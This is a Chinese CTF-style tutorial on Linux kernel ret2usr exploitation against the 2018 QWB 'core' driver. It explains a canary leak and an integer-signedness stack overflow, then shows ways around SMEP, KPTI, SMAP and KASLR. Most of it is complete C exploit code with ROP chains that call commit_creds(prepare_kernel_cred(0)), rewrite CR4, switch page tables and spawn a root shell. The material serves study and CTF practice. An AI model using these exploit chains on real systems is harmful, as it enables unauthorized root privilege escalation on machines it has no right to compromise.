ret2usr利用手法以及常见保护机制绕过浅析
ret2usr
在SMAP、SMEP以及kpti保护未开启时,内核空间可以访问或执行用户空间的数据,那我们其实可以直接返回到用户空间执行函数,从而避免构造较为复杂的内核ROP链。
这里仍以2018 强网杯 -
core为例,这题中虽然开了kaslr,但是我们不需要利用一些手法来泄露地址,init脚本中本身就给我们提供了一些利用点。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
|
mount -t proc proc /proc mount -t sysfs sysfs /sys mount -t devtmpfs none /dev /sbin/mdev -s mkdir -p /dev/pts mount -vt devpts -o gid=4,mode=620 none /dev/pts chmod 666 /dev/ptmx cat /proc/kallsyms > /tmp/kallsyms echo 1 > /proc/sys/kernel/kptr_restrict echo 1 > /proc/sys/kernel/dmesg_restrict ifconfig eth0 up udhcpc -i eth0 ifconfig eth0 10.0.2.15 netmask 255.255.255.0 route add default gw 10.0.2.2 insmod /core.ko
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n' umount /proc umount /sys
|
从init文件中我们可以看出/proc/kallsyms
中存的符号信息被备份到了/tmp/kallsyms
。这样一来echo 1 > /proc/sys/kernel/kptr_restrict
使普通用户无法查看确切的内核符号加载地址的措施就形同虚设了。那么之后我们写exp时就能够直接打开/tmp/kallsyms
文件进行读取操作。
然后就是看core.ko这个内核驱动模块的漏洞了。
init_module注册了/proc/core,exit_core删除了/proc/core
core_ioctl这个相当于堆题的菜单,有不同的功能选项。
core_read从 v4[off]
拷贝 64
个字节到a1,a1也就是后面我们可以传入的用户空间的一个缓冲区,而且全局变量
off
是我们能够控制的,因此可以合理的控制 off
来 将canary
和一些地址读取到用户空间的缓冲区,然后再自己把这个缓冲区内的内容输出,从而能泄露内核空间的一些地址。
core_copy_func() 从全局变量 name
中拷贝数据到局部变量中,长度是由我们指定的,当要注意的是 qmemcpy 用的是
unsigned __int16
,但传递的长度是
signed __int64
,因此如果控制传入的长度为
0xffffffffffff0000|(0x100)
等值,就可以栈溢出了。
core_write() 向全局变量 name
上写,这样通过 core_write()
和
core_copy_func()
就可以控制 ropchain 了
那我们可以首先靠读取/tmp/kallsyms
来获取内核符号基址,然后可以直接劫持控制流到用户空间,用户空间则是提前布置调用内核函数的commit_creds(prepare_kernel_cred(null))
,然后最后返回用户态执行system("/bin/sh")。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176
| #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/ioctl.h>
size_t commit_creds = 0, prepare_kernel_cred = 0; size_t raw_vmlinux_base = 0xffffffff81000000;
size_t vmlinux_base = 0; void getPrivilege(){ void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred; int (*commit_creds_ptr)(void *) = commit_creds; (*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL)); }
void spawn_shell() { if(!getuid()) { system("/bin/sh"); } else { puts("[*]spawn shell error!"); } exit(0); }
size_t find_symbols() { FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
if(kallsyms_fd < 0) { puts("[*]open kallsyms error!"); exit(0); }
char buf[0x30] = {0}; while(fgets(buf, 0x30, kallsyms_fd)) { if(commit_creds & prepare_kernel_cred) return 0;
if(strstr(buf, "commit_creds") && !commit_creds) { char hex[20] = {0}; strncpy(hex, buf, 16); sscanf(hex, "%llx", &commit_creds); printf("commit_creds addr: %p\n", commit_creds);
vmlinux_base = commit_creds - 0x9c8e0; printf("vmlinux_base addr: %p\n", vmlinux_base); }
if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred) { char hex[20] = {0}; strncpy(hex, buf, 16); sscanf(hex, "%llx", &prepare_kernel_cred); printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred); vmlinux_base = prepare_kernel_cred - 0x9cce0; } }
if(!(prepare_kernel_cred & commit_creds)) { puts("[*]Error!"); exit(0); } }
size_t user_cs, user_ss, user_rflags, user_sp; void save_status() { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("[*]status has been saved."); }
void set_off(int fd, long long idx) { printf("[*]set off to %ld\n", idx); ioctl(fd, 0x6677889C, idx); }
void core_read(int fd, char *buf) { puts("[*]read to buf."); ioctl(fd, 0x6677889B, buf);
}
void core_copy_func(int fd, long long size) { printf("[*]copy from user with size: %ld\n", size); ioctl(fd, 0x6677889A, size); }
int main() { save_status(); int fd = open("/proc/core", 2); if(fd < 0) { puts("[*]open /proc/core error!"); exit(0); }
find_symbols(); ssize_t offset = vmlinux_base - raw_vmlinux_base;
set_off(fd, 0x40);
char buf[0x40] = {0}; core_read(fd, buf); size_t canary = ((size_t *)buf)[0]; printf("[+]canary: %p\n", canary);
size_t rop[0x1000] = {0};
int i; for(i = 0; i < 10; i++) { rop[i] = canary; } rop[i++] = (size_t)getPrivilege;
rop[i++] = 0xffffffff81a012da + offset; rop[i++] = 0;
rop[i++] = 0xffffffff81050ac2 + offset;
rop[i++] = (size_t)spawn_shell;
rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss;
write(fd, rop, 0x800); core_copy_func(fd, 0xffffffffffff0000 | (0x100));
return 0; }
|
这个exp是参照了ctfwiki上的exp,这时我有个疑问就是为什么即使可以直接执行用户空间的代码,最后还需要swapgs; popfq; ret;
以及iretq; ret
着陆用户态呢,如果直接返回到system("/bin/sh")又会发生什么呢?
这里我们把rop缩短至如下:
1 2 3 4 5 6
| for(i = 0; i < 10; i++) { rop[i] = canary; } rop[i++] = (size_t)getPrivilege; rop[i++] = (size_t)spawn_shell;
|
然后到我们主程序的spawn_shell中就内核就panic了,第一个call这里也就是getuid这个libc函数的调用。这里即使我们去除掉getuid的判断,system函数调用还是会崩溃。
如果控制了内核态的 RIP,并且直接让 RIP
指向 system("/bin/sh")
这样的 libc
函数,会发生以下情况:
- system() 仍然在内核态运行
system("/bin/sh")
这个函数是用户态的 libc
代码,执行时它会认为自己仍然在 Ring 3(但实际上是 Ring 0)。
- 因为没有切换回用户态,进程仍然在 Ring 0 执行,但
libc 代码假设它在用户态,可能会导致非法访问内核地址,或者崩溃。
- 可能访问非法地址
system()
需要用户态的栈,如果它访问用户态的
RSP
,但 RSP
仍然是内核态栈,可能会导致崩溃。
- 可能执行
syscall
,导致未知行为
system()
依赖 execve()
,会执行
syscall
,但 在内核态执行 syscall
会导致崩溃,因为 syscall
只能从用户态触发。
所以我们完成提权后还需着陆用户态。
smep保护绕过
首先我们要了解smep保护开启与否与CR4寄存器的值密切相关。当 CR4
寄存器的第 20 位是 1 时,保护开启;是 0 时,保护关闭。
但是如果我们开启了smep保护,上述exp就不能成功运行了。首先要开启smep,就可以简单的在启动文件里面的-cpu
选项中加上一个+smep
即可。而且如果想在cpu选项开启smep或smap保护,都需要先明确指定cpu模型。
如上题的start.sh更改如下:
1 2 3 4 5 6 7 8 9 10
| qemu-system-x86_64 \ -m 256M \ -kernel ./bzImage \ -initrd ./mycore.cpio \ -cpu qemu64-v1,+smep \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ -s \ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ -nographic \
|
那么我们如果再次进入内核环境并调用我们的ret2usr的exp,内核就会直接panic,主要是因为开启了smep保护。
那么我们就可以开始找能够更改cr4寄存器值的gadget,首先肯定是检索cr4,我们关注中间的几个gadget。其中有的push rcx; popfq;
这种实际上不用管,相当于把rcx寄存器的值存到e/rflags寄存器中。那么我们可以通过控制rax或rdi来控制cr4。
1
| ropper --file ./vmlinux --nocolor > g1
|
比如我找了pop rdi;ret
的gadget,然后就能完全控制cr4寄存器的值了。为了关闭
smep 保护,常用一个固定值 0x6f0
,即
mov cr4, 0x6f0
。从 0x6f0
可以看出它
启用了以下 CR4 位:
Bit |
名称 |
作用 |
7 |
PGE |
启用全局页,提高 TLB 命中率 |
9 |
OSFXSR |
启用 FXSAVE/FXRSTOR 指令 |
10 |
OSXMMEXCPT |
允许 SSE 异常处理 |
5 |
PAE |
启用物理地址扩展 |
4 |
PSE |
启用 4MB 大页 |
6 |
MCE |
启用机器检查异常 |
这些是正常的系统默认启用的 CPU 特性,并不会影响漏洞利用。
rop更改如下,然后就能正常直接走ret2usr:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
|
for(i = 0; i < 10; i++) { rop[i] = canary; } rop[i++] = 0xffffffff81000b2f + offset; rop[i++] = 0x6f0;
rop[i++] = 0xffffffff81075014 + offset;
rop[i++] = (size_t)getPrivilege;
rop[i++] = 0xffffffff81a012da + offset; rop[i++] = 0;
rop[i++] = 0xffffffff81050ac2 + offset;
rop[i++] = (size_t)spawn_shell;
rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss;
|
改前后的cr4寄存器值如下,确实能够成功修改。然后我们回去把init改成用普通用户启动,测试是否能够提权。
绕过smep,成功提权。
但实际上现代内核中通常会采用“CR4钉住”(CR4
pinning)的机制,使得即使你尝试修改这些位(包括SMAP和SMEP相关位),内核会自动恢复它们的固定状态,从而防止这种简单的修改。所以现在ret2usr这种利用手法已经几乎失效了,一般只能走内核ROP,比如用后述kpti得绕过方法。
kpti保护绕过
KPTI(Kernel Page-Table Isolation,内核页表隔离)是一种
安全防御机制,用于
防止内核地址泄露,主要是为了 缓解 Meltdown
漏洞(CVE-2017-5754)。
在 启用 KPTI 的系统上:
- 用户态运行时,完全隔离
内核的页表,防止用户态进程访问或推测出内核地址。
- 只有在 发生系统调用(syscall)、中断或异常 时,才会
切换到内核页表 进行内核代码执行。
在 未启用 KPTI 的情况下,CR3
指向的页表包含 用户态和内核态的地址映射。
问题:Meltdown 攻击可以利用 CPU 的
推测执行漏洞,从用户态读取本应受保护的
内核地址!
KPTI 通过修改 CR3
来隔离页表:
- 用户态执行时:
CR3
只加载
用户页表(不包含内核页表)。
- 进入内核态时(如
syscall
):CR3
切换到
完整页表(包含用户和内核页表)。
KPTI保护机制的绕过主要包括异常处理以及页表切换两种绕过利用手法,到了kpti这种保护时其实我们的ret2usr手法已经不能生效了,需要构建内核ROP并绕过限制,我们还是以上面的题目为例,启动脚本加上kpti=1
来启用页表隔离,注意这里cpu参数中用的是kvm64模型(这个模型默认kpti是开启的,这里手动指定方便查看),之前的qemu64-v1会启动不了kpti。
1 2 3 4 5 6 7 8 9
| qemu-system-x86_64 \ -m 256M \ -kernel ./bzImage \ -initrd ./mycore.cpio \ -cpu kvm64,+smep \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr kpti=1" \ -s \ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ -nographic \
|
异常处理
首先我们来看看如果不用异常处理,而是直接ROP着陆用户态执行用户代码,那么最后会爆Segmentation
fault。这是因为在 KPTI 启用的情况下,用户态和内核态的
CR3
必须正确切换,否则CPU
仍然使用内核页表访问用户态地址,就会崩溃。
所以主要思路是捕获Segmentation fault
的异常,在异常处理中调用system(/bin/sh)
。这种方式能成功地关键在于内核ROP时其实已经成功把当前进程的cred换成了具有root权限的cred。之后靠异常处理就能获得到root权限的shell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161
| #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/ioctl.h> #include <signal.h>
void spawn_shell() { if(!getuid()) { system("/bin/sh"); } else { puts("[*]spawn shell error!"); } exit(0); }
size_t commit_creds = 0, prepare_kernel_cred = 0; size_t raw_vmlinux_base = 0xffffffff81000000;
size_t vmlinux_base = 0; size_t find_symbols() { FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
if(kallsyms_fd < 0) { puts("[*]open kallsyms error!"); exit(0); }
char buf[0x30] = {0}; while(fgets(buf, 0x30, kallsyms_fd)) { if(commit_creds & prepare_kernel_cred) return 0;
if(strstr(buf, "commit_creds") && !commit_creds) { char hex[20] = {0}; strncpy(hex, buf, 16); sscanf(hex, "%llx", &commit_creds); printf("commit_creds addr: %p\n", commit_creds); vmlinux_base = commit_creds - 0x9c8e0; printf("vmlinux_base addr: %p\n", vmlinux_base); }
if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred) { char hex[20] = {0}; strncpy(hex, buf, 16); sscanf(hex, "%llx", &prepare_kernel_cred); printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred); vmlinux_base = prepare_kernel_cred - 0x9cce0; } }
if(!(prepare_kernel_cred & commit_creds)) { puts("[*]Error!"); exit(0); } }
size_t user_cs, user_ss, user_rflags, user_sp; void save_status() { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("[*]status has been saved."); }
void set_off(int fd, long long idx) { printf("[*]set off to %ld\n", idx); ioctl(fd, 0x6677889C, idx); }
void core_read(int fd, char *buf) { puts("[*]read to buf."); ioctl(fd, 0x6677889B, buf);
}
void core_copy_func(int fd, long long size) { printf("[*]copy from user with size: %ld\n", size); ioctl(fd, 0x6677889A, size); }
int main() { save_status(); signal(SIGSEGV, spawn_shell); int fd = open("/proc/core", 2); if(fd < 0) { puts("[*]open /proc/core error!"); exit(0); }
find_symbols(); ssize_t offset = vmlinux_base - raw_vmlinux_base;
set_off(fd, 0x40);
char buf[0x40] = {0}; core_read(fd, buf); size_t canary = ((size_t *)buf)[0]; printf("[+]canary: %p\n", canary);
size_t rop[0x1000] = {0};
int i; for(i = 0; i < 10; i++) { rop[i] = canary; } rop[i++] = 0xffffffff81000b2f + offset; rop[i++] = 0; rop[i++] = prepare_kernel_cred;
rop[i++] = 0xffffffff810a0f49 + offset; rop[i++] = 0xffffffff81021e53 + offset; rop[i++] = 0xffffffff8101aa6a + offset; rop[i++] = commit_creds;
rop[i++] = 0xffffffff81a012da + offset; rop[i++] = 0;
rop[i++] = 0xffffffff81050ac2 + offset;
rop[i++] = (size_t)spawn_shell;
rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss;
write(fd, rop, 0x800); core_copy_func(fd, 0xffffffffffff0000 | (0x100));
return 0; }
|
页表切换
借鉴之前改cr4寄存器实现绕过smep的方式,这里我们可以通过操作cr3寄存器实现kpti的绕过。这种方式用的是swapgs_restore_regs_and_return_to_usermode函数,这个函数是
Linux 内核 在 从内核态返回用户态
时使用的一个关键函数,它主要用于 处理 KPTI(Kernel Page Table
Isolation) 以及 恢复用户态寄存器。
该函数的内部存在修改CR3
的操作,因此只需要调用该函数,就可以从内核空间的页表修改为用户空间的页表。这里有个小trick,就是能够从该函数偏移0x16处开始执行,因为前面是一排弹栈操作,十分吃ROP空间,而且对后面影响不大。最后注意调用该函数+0x16时,最后还会从栈上弹两个地址,需要我们填充。
最后就能成功进入我们的shell中
获取地址偏移方式如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| for(i = 0; i < 10; i++) { rop[i] = canary; } rop[i++] = 0xffffffff81000b2f + offset; rop[i++] = 0; rop[i++] = prepare_kernel_cred;
rop[i++] = 0xffffffff810a0f49 + offset; rop[i++] = 0xffffffff81021e53 + offset; rop[i++] = 0xffffffff8101aa6a + offset; rop[i++] = commit_creds;
rop[i++] = 0xffffffff81a008da + offset + 0x16; rop[i++] = 0; rop[i++] = 0; rop[i++] = (size_t)spawn_shell;
rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss;
|
smap保护绕过
SMAP,全称 Supervisor Mode Access
Prevention,是一种硬件安全机制,主要用于防止内核意外或恶意地访问用户空间内存。
此时使用swapgs_restore_regs_and_return_to_usermode
函数也是完全可以绕过的,因此可以直接使用它构建ROP
链。
若rop长度不够需要栈迁移,则需要更加精巧的手段,我们放到以后学习。
kaslr保护绕过
与正常pwn题的aslr绕过类似,需要找到漏洞点泄露地址,进而算出基址,与用户态下的利用没有区别。